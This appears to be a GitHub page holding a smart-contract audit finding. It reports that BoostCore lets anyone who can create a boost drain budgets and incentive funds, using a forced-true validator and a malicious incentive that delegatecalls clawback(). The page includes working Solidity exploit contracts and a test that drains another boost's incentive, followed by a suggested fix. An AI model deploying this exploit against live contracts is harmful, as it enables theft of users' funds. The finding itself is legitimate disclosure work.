Skip to content

Latest commit

 

History

History
169 lines (134 loc) · 6.23 KB

File metadata and controls

169 lines (134 loc) · 6.23 KB

Brilliant Holographic Buffalo

High

HIGH-02 - Any user that has access to createBoost can drain funds from any budget or any incentives.

Summary

Any user authorized to call BoostCore::createBoost() can create a crafted boost that allows him to drain funds from budgets and incentives through BoostCore::claimIncentivesFor().

Root Cause

No response

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

No response

Impact

If a boost is created with an action that inherits AValidator and can make validate() to return always true bypassing this line. Then on the following line,the claim() can call a crafted function deployed as an incentive that delegatescall to other contracts. As msg.sender will remain as BoostCore, all incentives methods under onlyOwner are able to be called. Specifically, calling clawback() will allow someone to drain any incentives funds. Also budgets, can be drain as long as BoostCore is allowed to call budget.disburse() or budget.clawback().

PoC

In the following example, a crafted incentive called ExploitIncentive is deployed with the following logic in claim():

    /// @notice Claim the incentive
    /// @param claimTarget the address receiving the claim
    /// @return True if the incentive was successfully claimed
    function claim(address claimTarget, bytes calldata _data) external override onlyOwner returns (bool) {
      bytes memory encodedFunctionCall = abi.encodeWithSignature("clawback(bytes)", _data);
      claimTarget.delegatecall(encodedFunctionCall);
      return true;
    }

Also, a crafted action is deployed called ExploitAction bypassing validate():

contract ExploitAction is AContractAction, AValidator {
    /// @inheritdoc ACloneable
    /// @notice Initialize the contract with the owner and the required data
    function initialize(bytes calldata data_) public virtual override initializer {
        _initialize(abi.decode(data_, (InitPayload)));
    }

    function _initialize(InitPayload memory init_) internal virtual onlyInitializing {
        chainId = init_.chainId;
        target = init_.target;
        selector = init_.selector;
        value = init_.value;
    }
    /// @inheritdoc AContractAction
    function getComponentInterface() public pure virtual override(AContractAction, AValidator) returns (bytes4) {
        return type(AERC721MintAction).interfaceId;
    }

    /// @inheritdoc AContractAction
    function supportsInterface(bytes4 interfaceId)
        public
        view
        virtual
        override(AContractAction, AValidator)
        returns (bool)
    {
        return interfaceId == type(AERC721MintAction).interfaceId || super.supportsInterface(interfaceId);
    }
    function validate(uint256, /*unused*/ uint256, /* unused */ address, /*unused*/ bytes calldata data_)
        external
        virtual
        override
        returns (bool success)
    {
      return true;
    }
}

Finally, crafted boost is deployed to drain incentives.

    function testCreateBoost_ExploitIncentives() public {
    
        BoostLib.Boost memory boost1 = boostCore.createBoost(validCreateCalldata);

        BoostLib.Target[] memory incentives = new BoostLib.Target[](1);
        incentives[0] = BoostLib.Target({
          isBase: true,
          instance: address(new ExploitIncentive()),
          parameters: abi.encode(
            ERC20Incentive.InitPayload({
              asset: address(mockERC20),
              strategy: AERC20Incentive.Strategy.POOL,
              reward: 1 ether,
              limit: 100
            })
          )
        });

        mockERC20.mint(address(this), 100 ether);
        mockERC20.approve(address(budget), 100 ether);
        budget.allocate(
            abi.encode(
                ABudget.Transfer({
                    assetType: ABudget.AssetType.ERC20,
                    asset: address(mockERC20),
                    target: address(this),
                    data: abi.encode(ABudget.FungiblePayload({amount: 100 ether}))
                })
            )
        );

        
        bytes memory createData = LibZip.cdCompress(
            abi.encode(
                BoostCore.InitPayload({
                    budget: budget,
                    action: BoostLib.Target({
                          isBase: true,
                          instance: address(new ExploitAction()),
                          parameters: abi.encode(
                              AContractAction.InitPayload({chainId: block.chainid, target: address(0), selector: "", value: 0})
                          )
                    }),
                    validator: BoostLib.Target({isBase: true, instance: address(0), parameters: ""}),
                    allowList: allowList,
                    incentives: incentives,
                    protocolFee: 500, // 5%
                    referralFee: 1000, // 10%
                    maxParticipants: 10_000,
                    owner: address(1)
                })
            )
        );
        BoostLib.Boost memory boost2 = boostCore.createBoost(createData);
      
        bytes memory payload = 
            abi.encode(AIncentive.ClawbackPayload({target: address(2), data: abi.encode(50 ether)}));
        // @audit - Take a look here we use our crafted boost2 to drain boost1.incentives[0]
        // but this could be repeated for budgets as long as BoostCore can call the methods.
        boostCore.claimIncentiveFor{value: 0.000075 ether}(1, 0, address(0), payload , address(boost1.incentives[0]));

    }

Mitigation

Consider restricting access to incentives.clawback(), budget.clawback() and budget.disburse() from BoostCore calls and implement a manager role that is allowed to execute those functions. Budget implements accessControls for a manager role, but incentives do not, they are only callable by onlyOwner which is BoostCore due to initialization. Consider adding a manager role for incentives that can execute those functions.